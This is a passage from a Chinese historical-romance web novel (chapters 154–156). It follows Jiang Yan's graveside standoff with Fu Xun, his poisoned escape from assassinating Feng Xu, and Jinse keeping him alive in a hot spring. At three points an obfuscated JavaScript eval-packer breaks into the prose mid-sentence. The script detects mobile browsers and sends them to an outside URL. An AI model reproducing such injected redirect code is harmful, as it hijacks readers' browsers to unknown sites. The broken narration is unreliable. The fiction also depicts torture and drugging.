“我累了,承赟也累了。我甚至想,干脆什么时候倾巢出动,跟冯栩打个痛快,赢了就赢了,死了一把火、连骨灰一起扬了……睡个踏实觉,乐得解脱。” 北风一阵比一阵紧,说话间灌进嘴里,吐出一阵阵白汽,地上已落了层薄薄积雪。雪地里放着一罐烧刀子,姜嫣揭开罐盖灌了几口,将剩下的浇到墓碑前。 火一样的烈酒滚进肺腑,激得泪水模糊了视线,姜嫣视线逐渐飘远:“想当年,我们一大家子在朔北多好?就算有个什么变故,死也是死在同一个战场,尸骨血肉混在一起,团团圆圆、永不分离。为什么要回昇阳?” 她颤抖的手抚摸过墓碑,像是握着多年前与自己相携的那双手:“你啊,就是傻……又不贪恋权柄,为什么要回去,当劳什子国尉?” “活着的时候,天天操心军改头发都白了,还被朝中那帮故旧骂。一个你还不够、承陵接着操心……说出来不怕你笑话,承陵战死的消息传来,我居然松了口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的目光犀利如鹰隼,盯得姜嫣不禁一怔,手头力道略松了松,忽觉一股力道牵引着长剑向前一送,那柄剑笔直地刺入他左肩,深入寸许,他却只是轻轻蹙了蹙眉:“现在,殿下可以回答了么?” 姜嫣心神一凛,无意识脱口而出:“结识她是因庄王之妻,信她却是因袍泽之谊。” 苻洵唇角弯了弯,身子略略前倾,长剑又深了寸许。正在此时,宛平城内传出嘈杂的呼喊声、混乱的脚步声,人声鼎沸,紧跟着,南郊方向黑烟滚滚。 “苻洵,有本事莫使那些阴谋诡计”,姜嫣咬牙往外拔剑,却发现他绷紧了肩胛肌骨,竟一时拔不出,“拿起刀,咱们堂堂正正打一场。” “在下不愿在亡者灵前大动干戈、想必殿下也不愿”,苻洵眉心剧烈颤抖几下,声音却依然冰凉沉稳,“第二个问题——” “永平一朝,贵国几度北伐,将草原二十八部屠了一遍又一遍;永平三年九月,褚舜英随庄王御驾亲征,杀俘十万;永平四年夏,褚舜英授意临梁、上阳两郡淤堵伊河,致使水患泛滥。桩桩件件,是否为穷兵黩武、草菅人命?” 姜嫣僵持不下,冷笑:“国与国之间,不是你杀我、便是我杀你,总有人要满手血腥,谈何草菅人命?” 苻洵笑意带了些许欣慰:“可如此满手血腥,也未能换来几年和平,反为逆王冯栩做了嫁衣,丢失三大盆地与关隘,意义何在?” 姜嫣眼神坚定:“以战止战,虽战可也。只要我们还有一口气、还提得动刀剑,为此多坚守一天,哪怕战死在半道,也会离‘止战’更近一些。” 苻洵表情愈发轻松,眼眶泛起轻红,却漾着笑意:“第三个问题——若褚舜英有朝一日归来,殿下可还愿率三郡两州,与她并肩作战?” 154. 另一个自己 姜嫣身躯一震,难以置信地睁大双眼:“归来?苻洵,你什么意思?” “她还活着?”她忽然想到前些年流传的,褚太后与敌将周旋、刺杀失败的流言,“你把她怎样了?” 意识到什么,她手里长剑又往前送了几分,直直穿透苻洵的肩膀,血流如注、灌满他左边衣袖,滴滴答答顺袖口往下滴落,他却只是顿了一顿,笑容更盛、眸光流转竟显出几分妖异。 “还能怎样?她仗着我一片痴心,欺骗我、刺杀我,直接杀掉?太便宜她了”,苻洵笑容可掬地看着姜嫣,柔声道,“她动不动说什么家国大义,我偏要让南翊人尽皆知,她是如何与我这敌将纠葛周旋的。” “让她亲眼看着她所守护的,如何唾弃她,这可比杀了她更痛快。” “效法金州狱七十二道酷刑,远远不够。还好我结识不少药师毒师,制些毒啊、药啊……也没多大事,就是灌得多了,会武功尽失、变疯变傻、幻觉谵妄,慢慢地连自己是谁都忘了。再安排些人,天天跟她说自己造了多少杀孽……” “你们口口声声骂我恣睢暴戾,可你们的女英雄,她制造的杀戮、比我在战场上多十倍,你说可笑不可笑?” “更可笑的是,那样一个草菅人命的杀神,居然也会怕死人、怕面对自己做过的那些事。” 姜嫣蓄了半天力,终于抽出卡在他肩头的长剑,带出一簇滚烫的血花。 如此重伤,苻洵却只是颤了颤,抬手拂去溅到脸上的血,往后退了半步:“殿下这是想对亡者不敬?” 姜嫣缓缓将剑横在胸前,一步一步向后退去,退到一棵雪松树时、倏然发出一声唿哨,一队披挂弓箭、手持长刀的银甲护卫从陵园门口狂奔而来,霎时包围了他,弓拉满月、五六十支箭头齐刷刷对准苻洵。 “杀了你,他们才睡得安稳。” 苻洵无奈摇了摇头,叹道:“好好地聊会儿天,非来些人添堵。” 姜嫣冷冷道:“阿英在哪儿?” 苻洵满脸笑容,声音温柔:“我走的时候,把她锁在一处只有我知晓的地方,放了二十天的干粮和水,省着点吃喝个把月应当够。外面套了个铁笼子,关了二十多头狼。” 他指了指自己心口,懒懒地说;“来,往这儿射,准头好些。” 一名弓箭手按捺不住,手中的弦绷得紧了又紧,冷不防“嗖”地一声,扣在指间的箭矢激射而出,苻洵斜眼瞄了一下,却分毫未避,漫不经心看着箭簇狠狠钉向自己胸口。 “夺!”眼前掠过一匹雪亮剑光,带得箭簇歪了准头、钉进一旁树干,旋即,冰冷的剑锋贴在他脖子上。 “说!”姜嫣眼眶通红,咬牙切齿狠狠逼问,“她在哪儿?” 苻洵一言不发,眉眼带笑注视着姜嫣愤怒的模样,南郊方向嘈杂声越来越响,人沸马嘶热闹非凡,隐隐有人高呼“白袍卫”、“拦住他们”…… 姜嫣看也不看,将剑刃贴得更紧,将他脖子上切出浅浅血痕:“说!” “殿下果真磊落,不懂刑讯之道。”苻洵闲闲地说着,略微抬眸看向远方。姜嫣心一凉、顺着他视线看去,只见三匹红色烈马嘶吼着冲向包围圈。 脚下忽然弹起一片雪白的散碎粉末,姜嫣手劲未松、下意识闭眼略侧了侧脸,脸上脖颈一片冰凉,是雪。 睁眼的瞬间,一匹森凉的亮白在眼前展开,旋即更多积雪被激飞隔在她与苻洵之间。却是苻洵趁她方才分神,勾起脚边刀鞘、拔出长刀挥出,同时倾身后撤数丈。 红色烈马一路撞翻包围他们的弓箭手,跑到苻洵身边时没有减速。电光火石间,苻洵翻身跃上疾驰的骏马,撞翻另一侧包围圈,飞驰而去。 风雪中遥遥传来他的声音。 “三枚信物铜箭奉上,答谢北翊众将士的慈悯之心——” 看守南郊俘虏营的将领骑着马,气喘吁吁姗姗来迟,直奔到陵园门口才下马,跑得飞快滑跪到她面前:“末将看守不力,被白袍卫劫了俘虏营?” 姜嫣被一连串变故惊得愣在原地,听到将领声音才回过神:“丢了什么?” 将领:“丢了个九岁的小俘虏。” 姜嫣更惊讶:“这么小就上战场?” 将领:“听他们说这小孩一直跟在冯栩身边,那天冯栩兵败撤离时,突然拎起这孩子丢向霍将军。霍将军看他太小不忍下手、赶紧收刀,带回俘虏营又怕他冻死,专门腾了间小屋给他避寒。” 姜嫣沉吟半晌,终于缓过来发生了何事,冷笑道:“明修栈道暗度陈仓,好一个苻洵!” 将领:“那咱们继续追索?” 姜嫣挤出一个微笑,声音柔和些许:“罢了,那么小的孩子,可怜,随他去吧。” 挥手示意众将士散开。 然后,她缓缓摊开左手,掌心静静躺着三枚长仅半尺、做工精致的黄铜小箭,是苻洵在长刀出鞘的刹那塞进她手中的。 传说中的信物铜箭,见此铜箭如见玄甲营创始人苻洵,每一枚代表他一个承诺——可调用一次玄甲营的重诺。 . “兕儿别怕,都过去了。”苻洵蹲身,温柔地注视着眼前的小孩,伊河厚厚的冰层映着苻洵面容,居然显出几分圣洁。 思源满脸凝结着脏污和血痂,外面裹着苻洵的银灰色披风,里面只穿着一件薄薄布衫,两臂被暴力折得脱臼、软塌塌垂着。郎琊替他上药捆木板时发现,他全身多处淤青,新伤盖旧伤,叠着鞭痕刀痕。 他一路上都满脸麻木,任外界如何刺激都毫无反应,此时看着面前男子,眼神空洞得仿佛魂魄早已消散,只剩具空荡荡的躯壳。 苻洵将他身上的披风拢紧了些,瞥见他脖子上的细绳,扯出来是一块暖玉。挤出一个微笑,将暖玉递到他眼前,指着上面刻着的“兕”字:“还认得么?” 思源呆呆看了半晌,忽然流下两颗泪珠:“妹妹——” 苻洵笑容温和了些:“我这就去救妹妹,你先跟他们回去,去一个不会再有人打骂你、欺负你的地方。” 然后,他站起身来,从袖中取出一张文书递给郎琊:“替我将兕儿和这个一起送到奉宁,一定要呈到陛下跟前。” 郎琊接过文书展开一瞥,倏然惊住,细薄柔软的罗文纸上,顶端写着“苻洵谨立放妻手书”,文书末端已签好二人姓名。 苻洵神色如常,看着白袍卫将兕儿扶上安车,马车即将启动时。他忽然追了几步,对郎琊说:“若哥哥问这孩子来历,就说,兕儿是这世上另一个阿洵,求他怜悯。” 流年似水难留痕,时光飞逝又一轮。 苻洵虽已罢官多时,北卢郡尉仍然对他极尽敬重,得知他途经北卢郡,连夜提前将威远将军府收拾出来。 院内那片梅树长得高大了些,胭脂红的花朵开得如火如荼,沁着冰雪的寒气,郁香醉人。 苻洵并未住进卧房,只在积雪茫茫的树下支了张榻,一夜未眠。 恍恍惚惚看到梅花树下躺着的女子,含泪带笑对自己说:“阿洵,这辈子太糟糕,很多事都错得离谱,我和你都已面目全非,回不了头了。” 她又说:“如果有下辈子,早点来找我,我们干干净净地重新开始。” 那时的他,是如此不忿、不甘。他等了七年,终于等到挡在他们之间的那个人不在了,明明都能如此清晰地感知到彼此的爱意,却还没正式开始、就已走到末路。 就像一坛千辛万苦才酿好的美酒,还没来得及品尝一口,就被人生生夺走、连着酒坛摔得稀烂。 当他们在深山小楼享受着热闹烟火气时,他有时甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761413|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生出错觉,觉得几年前那些恩恩怨怨、死亡和泪水,那样遥远,远得像上辈子的事。 直到那声“大师父”,血淋淋的前尘往事、新仇旧怨被猛然揭起,他才陡然醒转。 任何事情一旦发生,就永远不会消失。 他终于懂了她说的“很多事都错得离谱,我们早已面目全非。” “那就下辈子吧,”他满脸释然地笑了,“这辈子我等得太久、太累,既承受不了得而复失,也舍不得你继续痛苦纠结,只能先一步放开你。” “现在,无论归隐还是入世,无论南翊还是北翊,你都有处可去、有路可走,我希望你自由。” “往前走,别回头。” “下辈子,我还是比你晚点出世,你去哪儿我就跟到哪儿,你选择追随谁、我也去追随谁,我们从小到大,时时刻刻都不分离。” “我们不再隔着国仇家恨,干干净净,重新开始。” 苻洵孤身走出威远将军府,身后的庑房里,秦川和上三卫的几十人睡得香甜。他在他们昨晚的饭食里加了五天分量的迷药,又吩咐将军府的管家,白袍卫连日作战、十分疲累,只需将饭食和水放到门口即可,勿要惊扰。 大风呼啸,雪花飞舞,洁白积雪和浅灰云层漫天翻卷,苻洵孤身单骑、漫步在瓯托部无垠的雪原上,他回望了一眼阻隔南北的荣国边墙。 “谢谢你,十六年前救了在异国被虐待的我,三年前救了被父亲舍弃的我。现在,我要去救那个出生就见不得光的自己。” “谢谢你,教会我责任、担当,以及——爱。” 迎着铺天盖地的风雪,他低头将蝴蝶香囊一圈一圈缠上自己手腕,策马扬鞭、向东驰去。 经过浅灰色的乌兰山,屹立数百年的朔门关,绵延千里的玄阴山,遮天蔽日的阿茹娜雪山,直奔柘枝城。 建宁十一年冬月初十夜,北宛汗王冯栩在寝宫遇刺,刺客用刀极快、且熟知冯栩武功路数,打斗之中冯栩右臂被斩断、左眼被刺瞎。 苻洵趁冯栩视觉暂弱、身体被剧痛拖得无力反抗时,毫不迟疑挥刀割向冯栩脖颈。 空中忽飞来一个女童的身体。 苻洵惊讶之下急忙收刀,接住被扔出挡刀的思洛,将其紧紧拥入怀中。 怀里的身躯却寒凉而沉重,思洛已经气绝多时,小脸青白、浑身僵硬。 “对不起,我来晚了。”苻洵心头一颤,难以自抑地潸然泪下,抱紧了怀中僵冷的小小尸骸。他身体陡然一顿,而后四肢百骸都失去了知觉,长刀从手中无力坠落,呕出几口黑血。 在他抱紧思洛的刹那,一股针刺般的凉意扎进肌肤,旋即化作软麻扩散到五脏六腑,不过须臾,就顺着奇经八脉游走全身。 他再也抱不住那个可怜的孩子,小小尸骸滚落到地上时,借着雪光,他清清楚楚看见,思洛的肚腹早已被掏空、放入发射毒针的机括。 他用尽全力,也只救出一半的自己,另一半早已永远死去。 寝殿的几个门涌入无数狼卫,前队持盾,后队持弓箭,几十支重箭齐齐对准了他。 冯栩满脸满身都是血,已疼得站不起来,却仍笑个不停:“师父,留下来吧,狸儿愿意永远追随你,我们一起南征北战,建立一个旷古烁今的伟大国家。” 苻洵浑身早已麻木,眼神凛若冰霜,冷冷吐出两个字:“做梦!” 冯栩满脸孺慕盯着他、痴痴笑了:“活着留不住,那就去死吧!死了就跑不掉了!” 所有弓箭手也向后拉紧弓弦,只等冯栩一声令下。 房梁上忽然飘坠下无数条人影,白刃纷纷如雪落,照亮了黑夜。为首的髯虬大汉一把扛起苻洵搭在肩上,扬声高呼。 “开阳部的兄弟们,掩护我与苻将军冲出去!” 155. 蚀骨 建宁十一年冬月初十,亥时七刻,荧惑伴星骤盛,大如盏,光芒四出。历子初,渐黯微如尘,不复前时之辉。 柘枝王宫内,苻洵选择舍身收刀、抱住思洛的刹那,东方荧惑星旁边那颗白亮的伴星骤然爆发,光芒朗照如同白昼。 而后像是燃尽柴薪的火焰,一分一分逐渐黯淡下去,定格时的光辉细如尘埃,连爆发之前的十分之一都达不到。 同一时刻,苻沣匆匆疾行在长秋宫的小径上,转过游廊、顺楼梯一直攀爬到角楼顶端,继后正坐在楼顶,凝神望向漫天星空。苻沣走过去递给她一份文书,满脸难以言喻的糟心。 “苻洵这混账东西,好不容易娶个媳妇弄成这样,看我怎么收拾他!阿晴,你与弟妹交情不错,能否将她接进宫来劝劝,这不是儿戏啊。” 继后接过来展开一看,满眼难以置信:“他与她?和离?不可能!” 头顶忽然爆发出一阵白光,比月亮更耀眼,映得角楼上两张人脸一片雪白。继后大惊失色,蓦然扭头看向东边天空,那光芒足足持续两刻才逐渐转黯。 那颗星辰,正是她十年以来,每个夜晚风雨无阻观测的煞星——昭明。 “昭明星……自爆了?” 继后怔怔注视着那颗越来越黯淡的星辰,唇角颤抖着微微上扬,欣喜难以自抑,双眸却泛起泪花。 “如此偏激之人,居然会有放下执念、戾气俱散的一刻。” “原来,你一直都在。” 苻沣静坐在旁边,等她平复心绪才轻声提议:“过两天我要东巡,你要不要一起回去看看?” 继后会意,如释重负地笑了:“自然要回去。” . 腊月初,冯栩遇刺的讯息传遍大江南北之时,苻洵一行人已安然回国,到达洛京。 白袍卫前呼后拥护卫着一辆驷马安车,疾驰在澄洛驰道上。经过四年来不断拓宽、平整、固化、维护,最初那条阴暗逼仄的行兵暗道已宽逾五丈,厚厚的碎石上铺着加入盐碱炒熟的黄土,马车在飞奔时也毫无颠簸。 这条道路是连接荣都奉宁和东原道的主干道,白日里车水马龙热闹非凡。驰道尽头的半山居早已被推倒、烂进泥里,仿佛从未存在过,就连那片竹林也在拓宽道路时被连根挖起。 道路出口一侧,矗立着三张崭新的功德碑,建业侯苻洵居中,英平侯沈绍宗、洛安侯萧桓分列两边。苻洵在功德碑前站了半晌,伸出手摸索着,一直摸到自己的那张。 然后对秦川说:“把它砸了!” 秦川大惊失色:“主子,万万不可啊,为修这条驰道,您付出牺牲了太多,这些功德都是你该得的。” “功德?”苻洵笑出声来,“踩着稚子尸骨的功德。” “棺材来喽,升官发财”,远处传来轻快的呼喊,谢恬正着指挥八个壮汉,将那口小小的檀木棺放到马车前,然后对秦川伸出手,“三百两,不客气。” 秦川掏出一团钱袋扔到他怀里:“多的算跑路费。” 郎琊见苻洵缓缓抬起手,忙从车里抱出思洛的尸骨,放到苻洵臂弯中,然后牵着他的手、指引他将思洛的尸骨安放进棺材。 苻洵执意要砸了自己的功德碑,郎琊劝了半天没用,谢恬想了想说:“这碑也是石匠辛辛苦苦刻的,我看石碑后面有个坡,不如就正对着石碑上方、在坡上挖个坑?” 苻洵沉吟半晌,艰涩地点了点头。 入葬坑是秦川和郎琊一锄一锄挖出来的,苻洵坚持要为思洛扶灵,秦川只好走在前面牵着他的手,指引他将棺材放到坑底,再由他替那可怜的孩子撒下前三抔土。 “我自食苦果,元昙罪有应得,真正无辜的只有他们。” 从那以后,澄洛驰道洛京入口的山坡上多了座小小坟茔,压在建业侯功德碑的正上方,无声嘲讽着那些被人津津乐道的千秋功业。 埋葬思洛之后,一行人就地分道扬镳。 苻洵垂眸对着地面,那双漂亮灵动的眼睛,此刻黯淡而涣散:“多谢两位义士救命之恩。” “不必多谢,我们救你又不是为了你”,司徒空冷笑道,“若非她还好好活着,我们就算豁出性命,追到天涯海角也要将你碎尸万段。” “三哥就是嘴硬心软,苻将军莫介意”,谢恬眉眼带笑,语气轻快地说,“何况,建宁八年的冬天,你不也放了我们一马?” 苻洵反唇相讥:“我不是想放过你们,只是不想她难堪。你们既已用回本名,属下怎么还自称开阳玉衡。” 司徒空傲然道:“不是隐蝠卫的开阳玉衡,是飞廉七星的开阳和玉衡。” “其实你也没传说中那么坏”,谢恬笑盈盈地转向苻洵,“苻将军何时也精通歧黄之术,当初首领已油尽灯枯、药石罔医,与白袍卫搏杀时又身受重伤,如今倒比二八年华还年轻康健。你用的什么法子,教教我呗?” 想了想又问:“你当初身中七刀,又是怎么活下来的?” “想知道?”苻洵转过头对着他,挑了挑眉,“偏不告诉你。” 谢恬不以为然,笑嘻嘻走近苻洵跟前,伸手在他眼前挥了挥、被秦川一巴掌拍开。 秦川呆了半晌,忽然跳着叫起来:“你们……你们那意思是,夫人是……苍天啊,这到底怎么回事?” “想知道?”司徒空瞪了秦川一眼,仰头道,“偏不告诉你。” “真看不见了?”谢恬摸着被拍得通红的手背,蹙眉沉思,“你这毒发的症状,跟庄王陛下临终前一模一样,你们两个到底怎么回事?” “问什么问?他又不会说!”司徒空恨铁不成钢地拎起谢恬扔上马背,自己也翻身跃上另一匹马,二人向着长济渠的方向扬鞭远去。 谢恬背对他们挥了挥手:“山高水长,后会有期。” 郎琊秦川也调转方向,骑马扈从着苻洵的安车,顺澄洛驰道到英平郡,驶入奉宁、停在洛川别苑大门口。 苻洵没有下车:“阐儿这两月没人盯着,不知练武是否有懈怠,秦川你去好好考校一下。” 又说:“以后你要多收一个徒弟了。” 郎琊摇头:“不劳主子费心,陛下已经将兕儿认作义子。” 秦川惊讶道:“他们不是已有嫡子么,怎么还要收义子,娘娘也愿意?” 郎琊道:“就是娘娘提的,她说这孩子是她外甥,无论孩子母亲做过什么事,稚子无辜。陛下也说,反正国君的子嗣越多越好……对了,陛下让卑职和王后劝劝夫人,原宥主子这一次。” “总感觉娘娘什么都知道,”秦川两眼发黑,嘟囔说,“她既知道实情,怎么不告诉陛下?” “肯定是为了孩子,兕儿吃过太多苦,有些事该瞒则瞒”,郎琊笑了笑,温声说,“以属下愚见,他在宫里有陛下和娘娘照应,比跟着主子到处跑好些。” “是啊是啊”,秦川连连附和,眼中放出光彩,“主子,既然这茬过去了,快去把夫人追回来吧,咱们又有桂花酒喝了。” “夫人又不是为这个……就知道吃喝玩乐”,郎琊白了他一眼,转向苻洵,“主子,咱们现在就去珪山?” 一直沉默不语的苻洵,微不可察地点了点头。 马车从安化门缓缓驶出,飞驰在西南方向的官道上、奔向平虞道。 郎琊没有骑马,坐在车里倒了杯热茶,放得不烫后递到苻洵手心。苻洵拿杯子的手慢慢攥紧,剧烈颤抖起来,突然手一滑、握拳紧紧按住心口,杯子哐当跌落在地、茶水倾洒满地。 同时,他身子猛然前倾,呕出一口鲜血。 郎琊忙抚着他后背替他顺气,又重新倒了杯热茶递给他:“主子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14770068|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都会过去的。之前没有夫人那几年,不也一样过来了?” “不一样的……”苻洵浅抿了一口茶,将茶杯放到一旁,紧紧捂住心口,额头沁出豆大的汗滴、青筋根根绽起,他唇角挂着惨淡笑意,“不一样的……” “见过太阳的人,再也忍受不了黑暗。” 北风掀开车帘,耀眼的雪光映进来,他双眼紧闭、脸颊和嘴唇没有一丝血色,黑发之下一缕缕灰白迅速蔓延。 . 锦瑟蜷在被子里,瑟瑟发抖。 褥子下铺的稻草很厚,盖的棉絮是翻晒过的、又厚又贴实,黎黎怕她夜里冷,还专门在她屋子里支了个火盆。 黎黎是村长的堂客,这里的男人都管妻子叫堂客,她在村长家已经住了快一个月。 签了那纸和离书后,她不吃不喝闹了一天一夜脾气,希望苻洵哪天回来、跟她说只是开了个玩笑。她发誓,只要他这次服个软回来,她以后一定收收自己脾气,再也不跟他吵架。 等来等去快一个月,只等到姚晟带着洛川别苑的府兵,来接他们回奉宁。她那时才知道,苻洵已辞去水师提督之职,和离书都送到建宁王跟前去了。 她那时才相信,苻洵没有跟她开玩笑。 他真的那么狠心,翻脸比翻书还快,说不要她就不要她了。 姚晟转告,苻洵说她要是还愿意回奉宁,也可以接着在洛川别苑住。她又难过又生气,很有骨气地说,打死都不再回洛川别苑,饿死都不吃他一口饭、冻死都不占他一寸地。 姚晟接走了孩子和虞正则,对着空荡荡的提督府,她才想起苻洵留给她的那个木盒。 先展开那张翊都阊江图,靛青描绘的路线:从东边城门进、过三个巷口、再往南五条街,圈住中间的一座宅子——桐花别苑。她对着那四个字只盯了一瞬,心底蓦然升起一股亲近和依赖,还有淡淡的敬畏。 她几乎下意识地想飞奔进那座宅子,像投入一个高大温暖的怀抱。 收拾好行李到大渡口,一艘小商船泊在岸边等候多时,里面陈设简洁舒适、可坐可卧,一点也不觉得冷或是颠簸。 船老大做事稳妥、口风很紧,只说收了苻洵重金,一定将她平安送到宜邑,又说到了宜邑有接应马车、会一直送她到阊江城东门,还给了她接应人的小像,其余的一概不论。 乘船行了两日,水道渐窄,山陵愈发险峻,船老大指着前方一道顶天立地宛如巨门的峡谷,扬声笑道:“这就是阜门峡,驶过去就到了南翊国境。” “南翊”二字钻入耳中,像千万支利箭穿透脑颅,她痛得抱住头蜷起身躯。 两岸景色不断倒退,她感觉有什么东西被不断抛到身后,温热欢喜的、柔软熨贴的,胸腔突然变得空荡荡的。 “回去”,她清晰地听见自己坚决的声音,“我们回珪山。” 她循着另一张舆图走进深山,住进那座小楼。 “你可是说过,这儿是我的。”她理直气壮地说着,学着他的样子烧灶做饭,做出几顿自己闻着味儿就想吐的糊糊,还险些烧了厨房。 无可奈何去溪边叉了几条鱼,升起一堆篝火烤熟,那是她唯一会做的食物。太久没烤过,一不小心放多了盐,她没滋没味咬着咸得发苦的烤鱼,一边吃一边哭。 “混蛋!”入夜,她一边哭一边铺床,一眼瞥见架子上那座小楼木雕,气鼓鼓想把做饭的男子从木雕上掰下来,伸了几次手,还是舍不得。 溪边、秋千架、前院、汤泉、厨房、卧房……到处是苻洵的影子,她一遍遍骂他大混蛋,越来越住不下去,第二天一早跑到村长家求收留。 她帮村长家修锄头、修木犁、焗碗,编竹箩筐、竹笊篱、竹火笼……白天跟他们一起吃饭,热热闹闹欢欢喜喜,可一到晚上睡在空屋里,就又冷得眼泪直流。 156. 相思 这天清晨,锦瑟在床上翻来覆去,外面鸡叫了才迷迷糊糊睡着。 外面突然传来嘈杂的人声、狗吠声、鸡叫声,间杂着惊惶的呼喊。她被吵醒了,艰涩地撑开眼皮,发现窗外刚麻麻亮,裹着厚厚雾气、屋檐下挂着条条冰凌。 不应该啊,入冬后农事稀少、气候寒冷,大部分村民都睡到天亮才起。 她想象了一下屋外寒气,还是决定裹紧被子继续睡觉。 嘈杂声越来越近,混着熟悉的人声:“夫人在这儿?太好了,我不记得进后山的路。” 是郎琊! 锦瑟一个激灵,心底涌出狂喜,一骨碌从被窝里钻起来穿衣,松松挽起发髻就跑去开门。走到门边却又觉得自己太急,被苻洵瞧见会叫他得意,于是将手扶在门把手上,在心里默数:一、二…… 她决定数到一百再开门。 刚刚数到二十八,屋门口传来急匆匆的脚步,紧接着“噗通”一声,像是有人跪下了。 “夫人,主子纵有千万个不是,还请夫人看在他快不行的份上……” 后面的话,她再也听不进去了,脑子里嗡嗡乱响,眼前一阵黑一阵白、险些站不住,霍然拉开门,霎时呆住了。 浓重的雾气中,屋外站了一堆人,除了三名白袍卫,全是一脸担忧的村民,郎琊在门口双膝跪地,一名高个子护卫将苻洵背在背上、另一名在身后扶着他们。 苻洵垂着头伏在护卫背上,双手无力地搭着,从前乌黑如绸缎的头发夹杂着一绺绺灰白,凌乱地披散下来,遮挡住面部。锦瑟像是被一盆冰水从上到下浇透,脑子一片空白,颤颤伸出手去拨开他的头发。 他双目紧闭,脸颊和嘴唇没有一丝血色,一张脸像是精雕细琢的玉石雕像,美丽却没有一丝活气。 她张了张嘴,喉咙却卡得厉害,一个音节都发不出来。 郎琊顾不得礼数,忙扯了扯她衣袖:“没时间详说了,请夫人赶紧带我去后山?” “后山?” 郎琊换了个说法:“就是你们住的那座小楼。” 从村长家屋后往山里走约莫五里,过竹林见小溪,踏过青石桥,穿过开得红艳艳的山茶花,走过庭院,穿过桂花树荫,推开花篱笆的门。 蒸腾的白雾将汤泉包覆在内,虽是隆冬,活泉依然氤氲着乳白热气。 郎琊指挥那两人将苻洵浸到汤泉中,正要伸手去解他衣袍,犹豫片刻,满眼期望地看向锦瑟:“劳烦夫人……” 锦瑟立即懂了,刷地满脸通红,咽了口唾沫,提起裙子顺石阶往下走。郎琊忙对那两人使了个脸色,三人齐齐退了出去,还贴心地关上了门。 解下护臂、腰带、披风,再一层层褪去玄色裘氅、玄色曳撒,只剩一层薄薄的白色棉布中衣。 左肩一道穿刺剑伤、已结了厚痂,胸腹几团红褐色痂点、像是针刺后留下的痕迹,最触目惊心的是遍布上半身的七道伤疤。她颤抖着伸手,抚上他后背,果然,对应的相同位置有着一模一样的伤疤。 同她第一次浸汤泉时那个梦魇里一致,一样的疤痕、一样的位置和大小,只是颜色淡了许多,摸上去光滑许多,像是即将痊愈。 他眉心微蹙、全身冰凉没有一丝活气,静静躺在那,像一只将要碎掉的素白瓷瓶。 锦瑟颤抖着伸出手,掌心贴在他心口的位置,感受着那道贯穿伤疤轻微的凸起。是真的,他说过穿透后必死无疑的心脏,此刻清晰地呈着一道捅刺伤痕。 掌心忽地感受到一股灼热,一涌一涌,像贴着一团火焰,暴戾刺手。 她讶异地将掌心移开了点,只见他胸口缓缓浮出一团金色的亮光,将那层薄薄的皮肤撑得近乎透明,光芒越来越盛、皮肤也越来越薄,那金光涨涨缩缩,像是要挣脱他的胸腔向外溢出。 锦瑟看得呆了,手掌不知所措停在半空。 苻洵轻轻咳了一声,身躯突然剧烈颤抖起来,额头青筋根根凸起、渗出豆大的汗珠,唇角不断抽搐,分明承受着极致的痛苦。锦瑟吓了一跳,忙握紧他冰凉的手,连声呼唤“阿洵”。 苻洵双手握成拳,紧紧攥着她的手、抬起来摁在自己心口。旋即,锦瑟感觉他的心跳越来越紧促有力,擂鼓似的噗通噗通,一分分透出温热。 这温热是平和而沉静的,与那团金光的暴戾截然不同。 金光沸反暴涨了一阵,逐渐黯淡下去。 苻洵长舒了一口气,额头青筋恢复原状、身躯的颤动轻了些,攥着她手掌的手缓缓松开、无力垂落下去。 锦瑟将双掌紧紧贴在他心口、不敢再松开,怔怔注视着自己手掌,又看了看他脸色。仍是那样苍白,双颊却已浮起两团不正常的红晕。 她脑子里倏然掠过一亮电光,太阳穴突突直跳,针刺般剧痛起来。无数场景在眼前飞速掠过,走马灯似的来了又回。 过去的四年里,他曾无数次拉着她的手、贴在自己心口,对她说:“姐姐,我这儿疼。” 他曾无数次浑身颤抖着抱紧她,在她耳边哑声低语、苦苦哀求:“抱着我,抱紧些,不要松开。” 她一直只当他在开玩笑。 就算每次看到他的痛苦时,心会惊惶地揪起,却转瞬被他吊儿郎当的表情、轻佻浪荡的动作、漫不经心的语气飞速掩盖。 她从没想过,他是真的疼,很疼很疼,疼到身经百战、新伤叠旧伤的他也难以忍耐。 泪水一颗颗滚落下来,她循着过往的记忆,一只手掌贴在他心口,另一只手环在他后腰,紧紧抱住了他。 禄丰山的冬天十分冷,汤泉的水温热微烫,起初在这暑九寒天里十分惬意。但时间一长,腾腾水汽开始蒸得她头晕眼花、昏昏欲睡。 抱得久了、她逐渐手酸腿软失去力气,好几次松开手臂,他胸口那团金光倏然暴涨。又有好几次,险些与他一起沉入池底。 她思索片刻,捡起漂浮在水面的、他的腰带,绕过二人腰背缠了几圈,将自己和他牢牢捆在一起。 篱笆门传来敲木头的“叩叩”声,郎琊在外面说:“夫人已浸了大半天,对身子不好,请先上来用些饭食,歇息片刻。” 